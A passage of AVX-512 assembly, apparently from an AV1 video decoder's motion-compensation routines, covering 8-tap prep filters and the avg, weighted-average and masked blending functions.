; 0 2 2 4 2 4 4 _ vpbroadcastd ymm0, [srcq+strideq*2] vbroadcasti128 ymm5, [deint_shuf4] vpblendd ymm3, ymm2, 0xc0 ; 1 1 3 3 3 3 5 5 vpblendd ymm2, ymm3, ymm1, 0x55 ; 0 1 2 3 2 3 4 5 vpblendd ymm3, ymm1, 0xaa ; 1 2 3 4 3 4 5 _ punpcklbw ymm1, ymm2, ymm3 ; 01 12 23 34 vpblendd ymm3, ymm0, 0x80 ; 1 2 3 4 3 4 5 6 punpckhbw ymm2, ymm3 ; 23 34 45 56 .v_w4_loop: pinsrd xmm0, [srcq+stride3q ], 1 lea srcq, [srcq+strideq*4] vpbroadcastd ymm3, [srcq+strideq*0] vpbroadcastd ymm4, [srcq+strideq*1] vpblendd ymm3, ymm4, 0x20 ; _ _ 8 _ 8 9 _ _ vpblendd ymm3, ymm0, 0x03 ; 6 7 8 _ 8 9 _ _ vpbroadcastd ymm0, [srcq+strideq*2] vpblendd ymm3, ymm0, 0x40 ; 6 7 8 _ 8 9 a _ pshufb ymm3, ymm5 ; 67 78 89 9a pmaddubsw ymm4, ymm1, ym8 vperm2i128 ymm1, ymm2, ymm3, 0x21 ; 45 56 67 78 pmaddubsw ymm2, ym9 paddw ymm4, ymm2 mova ymm2, ymm3 pmaddubsw ymm3, ym11 paddw ymm3, ymm4 pmaddubsw ymm4, ymm1, ym10 paddw ymm3, ymm4 pmulhrsw ymm3, ym7 mova [tmpq], ymm3 add tmpq, 32 sub hd, 4 jg .v_w4_loop vzeroupper RET .v_w8: mov r3d, 0xf044 kmovw k1, r3d kshiftrw k2, k1, 8 movq xm0, [srcq+strideq*0] vpbroadcastq ym1, [srcq+strideq*1] vpbroadcastq m2, [srcq+strideq*2] vpbroadcastq m3, [srcq+stride3q ] lea srcq, [srcq+strideq*4] vpbroadcastq m4, [srcq+strideq*0] vpbroadcastq m5, [srcq+strideq*1] vpbroadcastq m6, [srcq+strideq*2] vmovdqa64 ym0{k1}, ym1 vmovdqa64 ym1{k1}, ym2 vmovdqa64 m2{k1}, m3 vmovdqa64 m3{k1}, m4 vmovdqa64 m4{k1}, m5 vmovdqa64 m5{k1}, m6 punpcklbw ym0, ym1 ; 01 12 __ __ punpcklbw m2, m3 ; 23 34 23 34 punpcklbw m4, m5 ; 45 56 45 56 vmovdqa64 m0{k2}, m2 ; 01 12 23 34 vmovdqa64 m2{k2}, m4 ; 23 34 45 56 .v_w8_loop: vpbroadcastq m1, [srcq+stride3q ] lea srcq, [srcq+strideq*4] vpbroadcastq m3, [srcq+strideq*0] vpbroadcastq m5, [srcq+strideq*1] pmaddubsw m14, m0, m8 pmaddubsw m15, m2, m9 vpblendmq m0{k1}, m6, m1 vpblendmq m2{k1}, m1, m3 vpbroadcastq m6, [srcq+strideq*2] paddw m14, m15 punpcklbw m2, m0, m2 ; 67 78 67 78 vpblendmq m12{k1}, m3, m5 vpblendmq m13{k1}, m5, m6 vpblendmq m0{k2}, m4, m2 ; 45 56 67 78 punpcklbw m4, m12, m13 ; 89 9a 89 9a vmovdqa64 m2{k2}, m4 ; 67 78 89 9a pmaddubsw m12, m0, m10 pmaddubsw m13, m2, m11 paddw m14, m12 paddw m14, m13 pmulhrsw m14, m7 mova [tmpq], m14 add tmpq, 64 sub hd, 4 jg .v_w8_loop RET .v_w16: mov r3d, 0xf0 kmovb k1, r3d vbroadcasti128 m0, [srcq+strideq*0] vbroadcasti128 m1, [srcq+strideq*1] vbroadcasti128 m2, [srcq+strideq*2] vbroadcasti128 m3, [srcq+stride3q ] lea srcq, [srcq+strideq*4] vbroadcasti128 m4, [srcq+strideq*0] vbroadcasti128 m5, [srcq+strideq*1] vbroadcasti128 m6, [srcq+strideq*2] vmovdqa64 m0{k1}, m1 vmovdqa64 m1{k1}, m2 vmovdqa64 m2{k1}, m3 vmovdqa64 m3{k1}, m4 vmovdqa64 m4{k1}, m5 vmovdqa64 m5{k1}, m6 shufpd m0, m2, 0xcc ; 0a_2a 0b_2b 1a_3a 1b_3b shufpd m1, m3, 0xcc ; 1a_3a 1b_3b 2a_4a 2b_4b shufpd m4, m4, 0x44 ; 4a_-- 4b_-- 5a_-- 5b_-- shufpd m5, m5, 0x44 ; 5a_-- 5b_-- 6a_-- 6b_-- punpckhbw m2, m0, m1 ; 23a 23b 34a 34b punpcklbw m0, m1 ; 01a 01b 12a 12b punpcklbw m4, m5 ; 45a 45b 56a 56b .v_w16_loop: vbroadcasti128 m3, [srcq+stride3q ] lea srcq, [srcq+strideq*4] vbroadcasti128 m5, [srcq+strideq*0] vpblendmq m1{k1}, m6, m3 vmovdqa64 m3{k1}, m5 pmaddubsw m12, m0, m8 pmaddubsw m13, m2, m8 pmaddubsw m14, m2, m9 pmaddubsw m15, m4, m9 pmaddubsw m0, m4, m10 vbroadcasti128 m2, [srcq+strideq*1] vbroadcasti128 m6, [srcq+strideq*2] paddw m12, m14 paddw m13, m15 paddw m12, m0 vmovdqa64 m5{k1}, m2 vmovdqa64 m2{k1}, m6 mova m0, m4 shufpd m1, m5, 0xcc ; 6a_8a 6b_8b 7a_9a 7b_9b shufpd m3, m2, 0xcc ; 7a_9a 7b_9b 8a_Aa 8b_Ab punpcklbw m2, m1, m3 ; 67a 67b 78a 78b punpckhbw m4, m1, m3 ; 89a 89b 9Aa 9Ab pmaddubsw m14, m2, m10 pmaddubsw m15, m2, m11 paddw m13, m14 paddw m12, m15 pmaddubsw m14, m4, m11 paddw m13, m14 pmulhrsw m12, m7 pmulhrsw m13, m7 mova [tmpq+ 0], m12 mova [tmpq+64], m13 add tmpq, 64*2 sub hd, 4 jg .v_w16_loop RET .v_w32: mova m18, [bilin_v_perm64] movu ym0, [srcq+strideq*0] movu ym1, [srcq+strideq*1] lea srcq, [srcq+strideq*2] movu ym2, [srcq+strideq*0] movu ym3, [srcq+strideq*1] lea srcq, [srcq+strideq*2] movu ym4, [srcq+strideq*0] movu ym5, [srcq+strideq*1] lea srcq, [srcq+strideq*2] movu ym6, [srcq+strideq*0] vpermq m0, m18, m0 vpermq m1, m18, m1 vpermq m2, m18, m2 vpermq m3, m18, m3 vpermq m4, m18, m4 vpermq m5, m18, m5 vpermq m6, m18, m6 punpcklbw m0, m1 punpcklbw m1, m2 punpcklbw m2, m3 punpcklbw m3, m4 punpcklbw m4, m5 punpcklbw m5, m6 .v_w32_loop: movu ym12, [srcq+strideq*1] lea srcq, [srcq+strideq*2] movu ym13, [srcq+strideq*0] pmaddubsw m14, m0, m8 pmaddubsw m16, m2, m9 pmaddubsw m15, m1, m8 pmaddubsw m17, m3, m9 mova m0, m2 mova m1, m3 vpermq m12, m18, m12 vpermq m13, m18, m13 paddw m14, m16 paddw m15, m17 pmaddubsw m16, m4, m10 pmaddubsw m17, m5, m10 punpcklbw m6, m12 punpcklbw m12, m13 mova m2, m4 mova m3, m5 paddw m14, m16 paddw m15, m17 pmaddubsw m16, m6, m11 pmaddubsw m17, m12, m11 mova m4, m6 mova m5, m12 paddw m14, m16 paddw m15, m17 pmulhrsw m14, m7 pmulhrsw m15, m7 mova m6, m13 mova [tmpq+ 0], m14 mova [tmpq+64], m15 add tmpq, 64*2 sub hd, 2 jg .v_w32_loop vzeroupper RET .v_w64: mov wd, 64 jmp .v_start .v_w128: mov wd, 128 .v_start: WIN64_SPILL_XMM 27 mova m26, [bilin_v_perm64] lea r6d, [hq+wq*2] mov r5, srcq mov r7, tmpq .v_loop0: vpermq m0, m26, [srcq+strideq*0] vpermq m1, m26, [srcq+strideq*1] lea srcq, [srcq+strideq*2] vpermq m2, m26, [srcq+strideq*0] vpermq m3, m26, [srcq+strideq*1] lea srcq, [srcq+strideq*2] vpermq m4, m26, [srcq+strideq*0] vpermq m5, m26, [srcq+strideq*1] lea srcq, [srcq+strideq*2] vpermq m6, m26, [srcq+strideq*0] punpckhbw m12, m0, m1 punpcklbw m0, m1 punpckhbw m13, m1, m2 punpcklbw m1, m2 punpckhbw m14, m2, m3 punpcklbw m2, m3 punpckhbw m15, m3, m4 punpcklbw m3, m4 punpckhbw m16, m4, m5 punpcklbw m4, m5 punpckhbw m17, m5, m6 punpcklbw m5, m6 .v_loop: vpermq m18, m26, [srcq+strideq*1] lea srcq, [srcq+strideq*2] vpermq m19, m26, [srcq+strideq*0] pmaddubsw m20, m0, m8 pmaddubsw m21, m12, m8 pmaddubsw m22, m1, m8 pmaddubsw m23, m13, m8 mova m0, m2 mova m12, m14 mova m1, m3 mova m13, m15 pmaddubsw m2, m9 pmaddubsw m14, m9 pmaddubsw m3, m9 pmaddubsw m15, m9 punpckhbw m24, m6, m18 punpcklbw m6, m18 paddw m20, m2 paddw m21, m14 paddw m22, m3 paddw m23, m15 mova m2, m4 mova m14, m16 mova m3, m5 mova m15, m17 pmaddubsw m4, m10 pmaddubsw m16, m10 pmaddubsw m5, m10 pmaddubsw m17, m10 punpckhbw m25, m18, m19 punpcklbw m18, m19 paddw m20, m4 paddw m21, m16 paddw m22, m5 paddw m23, m17 mova m4, m6 mova m16, m24 mova m5, m18 mova m17, m25 pmaddubsw m6, m11 pmaddubsw m24, m11 pmaddubsw m18, m11 pmaddubsw m25, m11 paddw m20, m6 paddw m21, m24 paddw m22, m18 paddw m23, m25 pmulhrsw m20, m7 pmulhrsw m21, m7 pmulhrsw m22, m7 pmulhrsw m23, m7 mova m6, m19 mova [tmpq+wq*0+ 0], m20 mova [tmpq+wq*0+64], m21 mova [tmpq+wq*2+ 0], m22 mova [tmpq+wq*2+64], m23 lea tmpq, [tmpq+wq*4] sub hd, 2 jg .v_loop add r5, 64 add r7, 128 movzx hd, r6b mov srcq, r5 mov tmpq, r7 sub r6d, 1<<8 jg .v_loop0 RET .hv: %assign stack_offset stack_offset - stack_size_padded %assign stack_size_padded 0 WIN64_SPILL_XMM 16 cmp wd, 4 je .hv_w4 shr mxd, 16 sub srcq, 3 vpbroadcastd m10, [r7+mxq*8+subpel_filters-prep_avx512icl+0] vpbroadcastd m11, [r7+mxq*8+subpel_filters-prep_avx512icl+4] movzx mxd, myb shr myd, 16 cmp hd, 4 cmove myd, mxd tzcnt wd, wd vpbroadcastd m8, [pd_2] movzx wd, word [r7+wq*2+table_offset(prep, _8tap_hv)] vpbroadcastd m9, [pd_32] add wq, r7 vpbroadcastq m0, [r7+myq*8+subpel_filters-prep_avx512icl] lea stride3q, [strideq*3] sub srcq, stride3q punpcklbw m0, m0 psraw m0, 8 ; sign-extend pshufd m12, m0, q0000 pshufd m13, m0, q1111 pshufd m14, m0, q2222 pshufd m15, m0, q3333 jmp wq .hv_w4: movzx mxd, mxb dec srcq vpbroadcastd m8, [r7+mxq*8+subpel_filters-prep_avx512icl+2] movzx mxd, myb shr myd, 16 cmp hd, 4 cmove myd, mxd vpbroadcastq m0, [r7+myq*8+subpel_filters-prep_avx512icl] lea stride3q, [strideq*3] sub srcq, stride3q mov r3d, 0x04 kmovb k1, r3d kshiftlb k2, k1, 2 kshiftlb k3, k1, 4 vpbroadcastd m10, [pd_2] vbroadcasti128 m16, [subpel_h_shufA] punpcklbw m0, m0 psraw m0, 8 ; sign-extend vpbroadcastd m11, [pd_32] pshufd m12, m0, q0000 pshufd m13, m0, q1111 pshufd m14, m0, q2222 pshufd m15, m0, q3333 movq xm3, [srcq+strideq*0] vpbroadcastq ym2, [srcq+strideq*1] vpbroadcastq ym3{k1}, [srcq+strideq*2] vpbroadcastq m2{k2}, [srcq+stride3q ] lea srcq, [srcq+strideq*4] vpbroadcastq m3{k2}, [srcq+strideq*0] vpbroadcastq m2{k3}, [srcq+strideq*1] vpbroadcastq m3{k3}, [srcq+strideq*2] mova m17, [spel_hv_perm4a] movu m18, [spel_hv_perm4b] mova m0, m10 mova m1, m10 pshufb m2, m16 pshufb m3, m16 vpdpbusd m0, m2, m8 vpdpbusd m1, m3, m8 packssdw m0, m1 ; _ 0 1 2 3 4 5 6 psraw m0, 2 vpermb m1, m17, m0 ; 01 12 23 34 vpermb m2, m18, m0 ; 23 34 45 56 .hv_w4_loop: movq xm3, [srcq+stride3q ] lea srcq, [srcq+strideq*4] movq xm4, [srcq+strideq*0] vpbroadcastq ym3{k1}, [srcq+strideq*1] vpbroadcastq ym4{k1}, [srcq+strideq*2] mova ym5, ym10 mova ym6, ym10 pshufb ym3, ym16 pshufb ym4, ym16 vpdpbusd ym5, ym3, ym8 vpdpbusd ym6, ym4, ym8 mova m7, m11 packssdw ym5, ym6 ; 7 8 9 a _ _ _ _ psraw ym5, 2 valignq m0, m5, m0, 4 ; _ 4 5 6 7 8 9 a vpdpwssd m7, m1, m12 vpdpwssd m7, m2, m13 vpermb m1, m17, m0 ; 45 56 67 78 vpermb m2, m18, m0 ; 67 78 89 9a vpdpwssd m7, m1, m14 vpdpwssd m7, m2, m15 psrad m7, 6 vpmovdw [tmpq], m7 add tmpq, 32 sub hd, 4 jg .hv_w4_loop vzeroupper RET .hv_w8: WIN64_SPILL_XMM 24 vbroadcasti128 m16, [subpel_h_shufA] vbroadcasti128 m17, [subpel_h_shufB] vbroadcasti128 m18, [subpel_h_shufC] vinserti128 ym0, [srcq+strideq*0], 1 vinserti128 m0, [srcq+strideq*1], 2 vinserti128 m0, [srcq+strideq*2], 3 movu xm1, [srcq+stride3q ] lea srcq, [srcq+strideq*4] vinserti128 ym1, [srcq+strideq*0], 1 vinserti128 m1, [srcq+strideq*1], 2 vinserti128 m1, [srcq+strideq*2], 3 mova m2, m8 mova m4, m8 mova m3, m8 mova m5, m8 pshufb m20, m0, m16 pshufb m21, m0, m17 pshufb m22, m0, m18 pshufb m23, m1, m16 pshufb m6, m1, m17 pshufb m7, m1, m18 vpdpbusd m2, m20, m10 vpdpbusd m4, m21, m10 vpdpbusd m2, m21, m11 vpdpbusd m4, m22, m11 vpdpbusd m3, m23, m10 vpdpbusd m5, m6, m10 vpdpbusd m3, m6, m11 vpdpbusd m5, m7, m11 packssdw m2, m4 packssdw m3, m5 psraw m2, 2 ; _ 0 1 2 psraw m3, 2 ; 3 4 5 6 valignq m0, m3, m2, 2 ; 0 1 2 3 valignq m1, m3, m2, 4 ; 1 2 3 4 valignq m2, m3, m2, 6 ; 2 3 4 5 punpcklwd m4, m0, m1 ; 01a 12a 23a 34a punpckhwd m5, m0, m1 ; 01b 12b 23b 34b punpcklwd m6, m2, m3 ; 23a 34a 45a 56a punpckhwd m7, m2, m3 ; 23b 34b 45b 56b .hv_w8_loop: movu xm19, [srcq+stride3q ] lea srcq, [srcq+strideq*4] vinserti128 ym19, [srcq+strideq*0], 1 vinserti128 m19, [srcq+strideq*1], 2 vinserti128 m19, [srcq+strideq*2], 3 mova m20, m9 mova m21, m9 mova m22, m8 mova m23, m8 vpdpwssd m20, m4, m12 vpdpwssd m21, m5, m12 vpdpwssd m20, m6, m13 vpdpwssd m21, m7, m13 pshufb m0, m19, m16 pshufb m1, m19, m17 pshufb m2, m19, m18 vpdpbusd m22, m0, m10 vpdpbusd m23, m1, m10 vpdpbusd m22, m1, m11 vpdpbusd m23, m2, m11 packssdw m22, m23 psraw m22, 2 ; 7 8 9 A valignq m0, m22, m3, 2 ; 4 5 6 7 valignq m1, m22, m3, 4 ; 5 6 7 8 valignq m2, m22, m3, 6 ; 6 7 8 9 mova m3, m22 punpcklwd m4, m0, m1 ; 45a 56a 67a 78a punpckhwd m5, m0, m1 ; 45b 56b 67b 78b punpcklwd m6, m2, m3 ; 67a 78a 89a 9Aa punpckhwd m7, m2, m3 ; 67b 78b 89b 9Ab vpdpwssd m20, m4, m14 vpdpwssd m21, m5, m14 vpdpwssd m20, m6, m15 vpdpwssd m21, m7, m15 psrad m20, 6 psrad m21, 6 packssdw m20, m21 mova [tmpq], m20 add tmpq, 64 sub hd, 4 jg .hv_w8_loop RET .hv_w16: mov wd, 16*2 jmp .hv_start .hv_w32: mov wd, 32*2 jmp .hv_start .hv_w64: mov wd, 64*2 jmp .hv_start .hv_w128: mov wd, 128*2 .hv_start: WIN64_SPILL_XMM 31 mova m16, [spel_h_perm16a] mova m17, [spel_h_perm16b] mova m18, [spel_h_perm16c] lea r6d, [hq+wq*8-256] mov r5, srcq mov r7, tmpq .hv_loop0: movu ym0, [srcq+strideq*0] vinserti32x8 m0, [srcq+strideq*1], 1 lea srcq, [srcq+strideq*2] movu ym1, [srcq+strideq*0] vinserti32x8 m1, [srcq+strideq*1], 1 lea srcq, [srcq+strideq*2] movu ym2, [srcq+strideq*0] vinserti32x8 m2, [srcq+strideq*1], 1 lea srcq, [srcq+strideq*2] movu ym3, [srcq+strideq*0] mova m4, m8 mova m5, m8 mova m6, m8 mova m7, m8 vpermb m19, m16, m0 vpermb m20, m17, m0 vpermb m21, m18, m0 vpermb m22, m16, m1 vpermb m23, m17, m1 vpermb m24, m18, m1 vpermb m25, m16, m2 vpermb m26, m17, m2 vpermb m27, m18, m2 vpermb ym28, ym16, ym3 vpermb ym29, ym17, ym3 vpermb ym30, ym18, ym3 mova m0, m8 mova m1, m8 mova ym2, ym8 mova ym3, ym8 vpdpbusd m4, m19, m10 vpdpbusd m5, m20, m10 vpdpbusd m6, m22, m10 vpdpbusd m7, m23, m10 vpdpbusd m0, m25, m10 vpdpbusd m1, m26, m10 vpdpbusd ym2, ym28, ym10 vpdpbusd ym3, ym29, ym10 vpdpbusd m4, m20, m11 vpdpbusd m5, m21, m11 vpdpbusd m6, m23, m11 vpdpbusd m7, m24, m11 vpdpbusd m0, m26, m11 vpdpbusd m1, m27, m11 vpdpbusd ym2, ym29, ym11 vpdpbusd ym3, ym30, ym11 packssdw m4, m5 packssdw m6, m7 packssdw m0, m1 packssdw ym2, ym3 psraw m4, 2 ; 0a 0b 1a 1b psraw m6, 2 ; 2a 2b 3a 3b psraw m0, 2 ; 4a 4b 5a 5b psraw ym2, 2 ; 6a 6b __ __ vshufi32x4 m5, m4, m6, q1032 ; 1a 1b 2a 2b vshufi32x4 m7, m6, m0, q1032 ; 3a 3b 4a 4b vshufi32x4 m1, m0, m2, q1032 ; 5a 5b 6a 6b punpcklwd m2, m4, m5 ; 01a 01c 12a 12c punpckhwd m3, m4, m5 ; 01b 01d 12b 12d punpcklwd m4, m6, m7 ; 23a 23c 34a 34c punpckhwd m5, m6, m7 ; 23b 23d 34b 34d punpcklwd m6, m0, m1 ; 45a 45c 56a 56c punpckhwd m7, m0, m1 ; 45b 45d 56b 56d .hv_loop: movu ym19, [srcq+strideq*1] lea srcq, [srcq+strideq*2] vinserti32x8 m19, [srcq+strideq*0], 1 mova m20, m9 mova m21, m9 mova m22, m8 mova m23, m8 vpdpwssd m20, m2, m12 vpdpwssd m21, m3, m12 vpdpwssd m20, m4, m13 vpdpwssd m21, m5, m13 vpermb m24, m16, m19 vpermb m25, m17, m19 vpermb m26, m18, m19 vpdpbusd m22, m24, m10 vpdpbusd m23, m25, m10 vpdpbusd m22, m25, m11 vpdpbusd m23, m26, m11 packssdw m22, m23 psraw m22, 2 ; 7a 7b 8a 8b vshufi32x4 m0, m1, m22, q1032 ; 6a 6b 7a 7b mova m2, m4 mova m3, m5 mova m1, m22 mova m4, m6 mova m5, m7 punpcklwd m6, m0, m1 ; 67a 67c 78a 78c punpckhwd m7, m0, m1 ; 67b 67d 78b 78d vpdpwssd m20, m4, m14 vpdpwssd m21, m5, m14 vpdpwssd m20, m6, m15 vpdpwssd m21, m7, m15 psrad m20, 6 psrad m21, 6 packssdw m20, m21 mova [tmpq+wq*0], ym20 vextracti32x8 [tmpq+wq*1], m20, 1 lea tmpq, [tmpq+wq*2] sub hd, 2 jg .hv_loop add r5, 16 add r7, 32 movzx hd, r6b mov srcq, r5 mov tmpq, r7 sub r6d, 1<<8 jg .hv_loop0 RET %macro BIDIR_FN 1 ; op lea stride3q, [strideq*3] jmp wq .w4: cmp hd, 8 jg .w4_h16 WRAP_YMM %1 0 vextracti32x4 xmm1, ym0, 1 movd [dstq ], xm0 pextrd [dstq+strideq*1], xm0, 1 movd [dstq+strideq*2], xmm1 pextrd [dstq+stride3q ], xmm1, 1 jl .w4_ret lea dstq, [dstq+strideq*4] pextrd [dstq ], xm0, 2 pextrd [dstq+strideq*1], xm0, 3 pextrd [dstq+strideq*2], xmm1, 2 pextrd [dstq+stride3q ], xmm1, 3 .w4_ret: RET .w4_h16: vpbroadcastd m7, strided pmulld m7, [bidir_sctr_w4] %1 0 kxnorw k1, k1, k1 vpscatterdd [dstq+m7]{k1}, m0 RET .w8: cmp hd, 4 jne .w8_h8 WRAP_YMM %1 0 vextracti128 xmm1, ym0, 1 movq [dstq ], xm0 movq [dstq+strideq*1], xmm1 movhps [dstq+strideq*2], xm0 movhps [dstq+stride3q ], xmm1 RET .w8_loop: %1_INC_PTR 2 lea dstq, [dstq+strideq*4] .w8_h8: %1 0 vextracti32x4 xmm1, ym0, 1 vextracti32x4 xmm2, m0, 2 vextracti32x4 xmm3, m0, 3 movq [dstq ], xm0 movq [dstq+strideq*1], xmm1 movq [dstq+strideq*2], xmm2 movq [dstq+stride3q ], xmm3 lea dstq, [dstq+strideq*4] movhps [dstq ], xm0 movhps [dstq+strideq*1], xmm1 movhps [dstq+strideq*2], xmm2 movhps [dstq+stride3q ], xmm3 sub hd, 8 jg .w8_loop RET .w16_loop: %1_INC_PTR 2 lea dstq, [dstq+strideq*4] .w16: %1 0 vpermq m0, m0, q3120 mova [dstq ], xm0 vextracti32x4 [dstq+strideq*1], m0, 2 vextracti32x4 [dstq+strideq*2], ym0, 1 vextracti32x4 [dstq+stride3q ], m0, 3 sub hd, 4 jg .w16_loop RET .w32: pmovzxbq m7, [pb_02461357] .w32_loop: %1 0 %1_INC_PTR 2 vpermq m0, m7, m0 mova [dstq+strideq*0], ym0 vextracti32x8 [dstq+strideq*1], m0, 1 lea dstq, [dstq+strideq*2] sub hd, 2 jg .w32_loop RET .w64: pmovzxbq m7, [pb_02461357] .w64_loop: %1 0 %1_INC_PTR 2 vpermq m0, m7, m0 mova [dstq], m0 add dstq, strideq dec hd jg .w64_loop RET .w128: pmovzxbq m7, [pb_02461357] .w128_loop: %1 0 vpermq m6, m7, m0 %1 2 mova [dstq+64*0], m6 %1_INC_PTR 4 vpermq m6, m7, m0 mova [dstq+64*1], m6 add dstq, strideq dec hd jg .w128_loop RET %endmacro %macro AVG 1 ; src_offset mova m0, [tmp1q+(%1+0)*mmsize] paddw m0, [tmp2q+(%1+0)*mmsize] mova m1, [tmp1q+(%1+1)*mmsize] paddw m1, [tmp2q+(%1+1)*mmsize] pmulhrsw m0, m2 pmulhrsw m1, m2 packuswb m0, m1 %endmacro %macro AVG_INC_PTR 1 add tmp1q, %1*mmsize add tmp2q, %1*mmsize %endmacro cglobal avg, 4, 7, 3, dst, stride, tmp1, tmp2, w, h, stride3 %define base r6-avg_avx512icl_table lea r6, [avg_avx512icl_table] tzcnt wd, wm movifnidn hd, hm movsxd wq, dword [r6+wq*4] vpbroadcastd m2, [base+pw_1024] add wq, r6 BIDIR_FN AVG %macro W_AVG 1 ; src_offset ; (a * weight + b * (16 - weight) + 128) >> 8 ; = ((a - b) * weight + (b << 4) + 128) >> 8 ; = ((((a - b) * ((weight-16) << 12)) >> 16) + a + 8) >> 4 ; = ((((b - a) * (-weight << 12)) >> 16) + b + 8) >> 4 mova m0, [tmp1q+(%1+0)*mmsize] psubw m2, m0, [tmp2q+(%1+0)*mmsize] mova m1, [tmp1q+(%1+1)*mmsize] psubw m3, m1, [tmp2q+(%1+1)*mmsize] pmulhw m2, m4 pmulhw m3, m4 paddw m0, m2 paddw m1, m3 pmulhrsw m0, m5 pmulhrsw m1, m5 packuswb m0, m1 %endmacro %define W_AVG_INC_PTR AVG_INC_PTR cglobal w_avg, 4, 7, 6, dst, stride, tmp1, tmp2, w, h, stride3 %define base r6-w_avg_avx512icl_table lea r6, [w_avg_avx512icl_table] tzcnt wd, wm movifnidn hd, hm vpbroadcastw m4, r6m ; weight movsxd wq, dword [r6+wq*4] vpbroadcastd m5, [base+pw_2048] psllw m4, 12 ; (weight-16) << 12 when interpreted as signed add wq, r6 cmp dword r6m, 7 jg .weight_gt7 mov r6, tmp1q pxor m0, m0 mov tmp1q, tmp2q psubw m4, m0, m4 ; -weight mov tmp2q, r6 .weight_gt7: BIDIR_FN W_AVG %macro MASK 1 ; src_offset ; (a * m + b * (64 - m) + 512) >> 10 ; = ((a - b) * m + (b << 6) + 512) >> 10 ; = ((((b - a) * (-m << 10)) >> 16) + b + 8) >> 4 %if mmsize == 64 vpermq m3, m8, [maskq+%1*32] %else vpermq m3, [maskq+%1*16], q3120 %endif mova m0, [tmp2q+(%1+0)*mmsize] psubw m1, m0, [tmp1q+(%1+0)*mmsize] psubb m3, m4, m3 paddw m1, m1 ; (b - a) << 1 paddb m3, m3 punpcklbw m2, m4, m3 ; -m << 9 pmulhw m1, m2 paddw m0, m1 mova m1, [tmp2q+(%1+1)*mmsize] psubw m2, m1, [tmp1q+(%1+1)*mmsize] paddw m2, m2 punpckhbw m3, m4, m3 pmulhw m2, m3 paddw m1, m2 pmulhrsw m0, m5 pmulhrsw m1, m5 packuswb m0, m1 %endmacro %macro MASK_INC_PTR 1 add maskq, %1*32 add tmp2q, %1*64 add tmp1q, %1*64 %endmacro cglobal mask, 4, 8, 6, dst, stride, tmp1, tmp2, w, h, mask, stride3 %define base r7-mask_avx512icl_table lea r7, [mask_avx512icl_table] tzcnt wd, wm movifnidn hd, hm mov maskq, maskmp movsxd wq, dword [r7+wq*4] pxor m4, m4 mova m8, [base+bilin_v_perm64] vpbroadcastd m5, [base+pw_2048] add wq, r7 BIDIR_FN MASK %macro W_MASK 4-5 0 ; dst, mask, tmp_offset[1-2], 4:4:4 mova m%1, [tmp1q+mmsize*%3] mova m1, [tmp2q+mmsize*%3] psubw m1, m%1 pabsw m%2, m1 psubusw m%2, m6, m%2 psrlw m%2, 8 ; 64 - m psllw m2, m%2, 10 pmulhw m1, m2 paddw m%1, m1 mova m1, [tmp1q+mmsize*%4] mova m2, [tmp2q+mmsize*%4] psubw m2, m1 pabsw m3, m2 psubusw m3, m6, m3 vpshldw m%2, m3, 8 psllw m3, m%2, 10 %if %5 psubb m%2, m5, m%2 %endif pmulhw m2, m3 paddw m1, m2 pmulhrsw m%1, m7 pmulhrsw m1, m7 packuswb m%1, m1 %endmacro cglobal w_mask_420, 4, 8, 16, dst, stride, tmp1, tmp2, w, h, mask, stride3 %define base r7-w_mask_420_avx512icl_table lea r7, [w_mask_420_avx512icl_table] tzcnt wd, wm mov r6d, r7m ; sign movifnidn hd, hm movsxd wq, [r7+wq*4] vpbroadcastd m6, [base+pw_6903] ; ((64 - 38) << 8) + 255 - 8 vpbroadcastd m7, [base+pw_2048] vpbroadcastd m9, [base+pb_m64] ; -1 << 6 mova ym10, [base+wm_420_mask+32] vpbroadcastd m8, [base+wm_sign+r6*8] ; (258 - sign) << 6 add wq, r7 mov maskq, maskmp lea stride3q, [strideq*3] jmp wq .w4: mova m5, [wm_420_perm4] cmp hd, 8 jg .w4_h16 WRAP_YMM W_MASK 0, 4, 0, 1 vinserti128 ym5, [wm_420_perm4+32], 1 vpermb ym4, ym5, ym4 vpdpbusd ym8, ym4, ym9 vextracti128 xmm1, m0, 1 movd [dstq+strideq*0], xm0 pextrd [dstq+strideq*1], xm0, 1 movd [dstq+strideq*2], xmm1 pextrd [dstq+stride3q ], xmm1, 1 jl .w4_end lea dstq, [dstq+strideq*4] pextrd [dstq+strideq*0], xm0, 2 pextrd [dstq+strideq*1], xm0, 3 pextrd [dstq+strideq*2], xmm1, 2 pextrd [dstq+stride3q ], xmm1, 3 .w4_end: vpermb ym8, ym10, ym8 movq [maskq], xm8 RET .w4_h16: vpbroadcastd m11, strided pmulld m11, [bidir_sctr_w4] W_MASK 0, 4, 0, 1 vpermb m4, m5, m4 vpdpbusd m8, m4, m9 kxnorw k1, k1, k1 vpermb m8, m10, m8 mova [maskq], xm8 vpscatterdd [dstq+m11]{k1}, m0 RET .w8: mova m5, [wm_420_perm8] cmp hd, 4 jne .w8_h8 WRAP_YMM W_MASK 0, 4, 0, 1 vinserti128 ym5, [wm_420_perm8+32], 1 vpermb ym4, ym5, ym4 vpdpbusd ym8, ym4, ym9 vpermb m8, m10, m8 mova [maskq], xm8 vextracti128 xmm1, ym0, 1 movq [dstq+strideq*0], xm0 movq [dstq+strideq*1], xmm1 movhps [dstq+strideq*2], xm0 movhps [dstq+stride3q ], xmm1 RET .w8_loop: add tmp1q, 128 add tmp2q, 128 add maskq, 16 lea dstq, [dstq+strideq*4] .w8_h8: W_MASK 0, 4, 0, 1 vpermb m4, m5, m4 mova m1, m8 vpdpbusd m1, m4, m9 vpermb m1, m10, m1 mova [maskq], xm1 vextracti32x4 xmm1, ym0, 1 vextracti32x4 xmm2, m0, 2 vextracti32x4 xmm3, m0, 3 movq [dstq+strideq*0], xm0 movq [dstq+strideq*1], xmm1 movq [dstq+strideq*2], xmm2 movq [dstq+stride3q ], xmm3 lea dstq, [dstq+strideq*4] movhps [dstq+strideq*0], xm0 movhps [dstq+strideq*1], xmm1 movhps [dstq+strideq*2], xmm2 movhps [dstq+stride3q ], xmm3 sub hd, 8 jg .w8_loop RET .w16: mova m5, [wm_420_perm16] .w16_loop: W_MASK 0, 4, 0, 1 vpermb m4, m5, m4 mova m1, m8 vpdpbusd m1, m4, m9 add tmp1q, 128 add tmp2q, 128 vpermb m1, m10, m1 vpermq m0, m0, q3120 mova [maskq], xm1 add maskq, 16 mova [dstq+strideq*0], xm0 vextracti32x4 [dstq+strideq*1], m0, 2 vextracti32x4 [dstq+strideq*2], ym0, 1 vextracti32x4 [dstq+stride3q ], m0, 3 lea dstq, [dstq+strideq*4] sub hd, 4 jg .w16_loop RET .w32: pmovzxbq m5, [pb_02461357] .w32_loop: W_MASK 0, 4, 